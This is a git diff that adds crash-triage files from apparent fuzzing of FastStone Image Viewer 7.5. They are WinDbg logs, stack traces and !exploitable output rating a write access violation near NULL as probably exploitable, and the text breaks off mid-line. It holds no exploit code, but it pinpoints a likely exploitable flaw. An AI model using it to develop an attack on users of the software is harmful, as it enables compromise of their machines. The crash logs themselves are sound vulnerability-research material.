C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b08.c90): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.451950200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.40556e-034 -2.11754e-018 -7.41842e-009 -1.60794e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003cc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003cc000 4ae4f645 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003cc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c01d22b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB08: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB08: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b08.c90): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.451950200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.40556e-034 -2.11754e-018 -7.41842e-009 -1.60794e-017 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003cc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003cc000 4ae4f645 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003cc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e28c3ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60524/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2ce9805 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..b899029 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA98: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA98: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 